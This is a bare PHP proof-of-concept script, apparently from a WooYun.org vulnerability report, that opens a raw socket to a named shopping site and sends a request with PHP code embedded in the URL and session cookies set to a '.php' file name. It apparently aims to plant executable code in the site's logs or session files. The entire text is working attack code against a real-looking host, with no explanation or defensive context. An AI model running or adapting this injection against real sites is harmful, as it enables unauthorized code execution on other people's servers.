WooYun.org

<?php
$host = 'www.verymall.cn';
$filename = '1.php';
$data  = "";
$data .= "GET /index.php?<?php phpinfo();?> HTTP/1.1\r\n";
$data .= "Host: {$host}\r\n";
$data .= "Cookie: sessionID={$filename};PHPSESSIN={$filename};\r\n";
$data .= "Connection: Close\r\n";
$data .= "\r\n";
$fp = fsockopen($host,80);
fwrite($fp,$data);
$ret = '';
while ( is_resource($fp) && !feof($fp) ) {
    $ret .= fread($fp,8192);
}
echo $ret;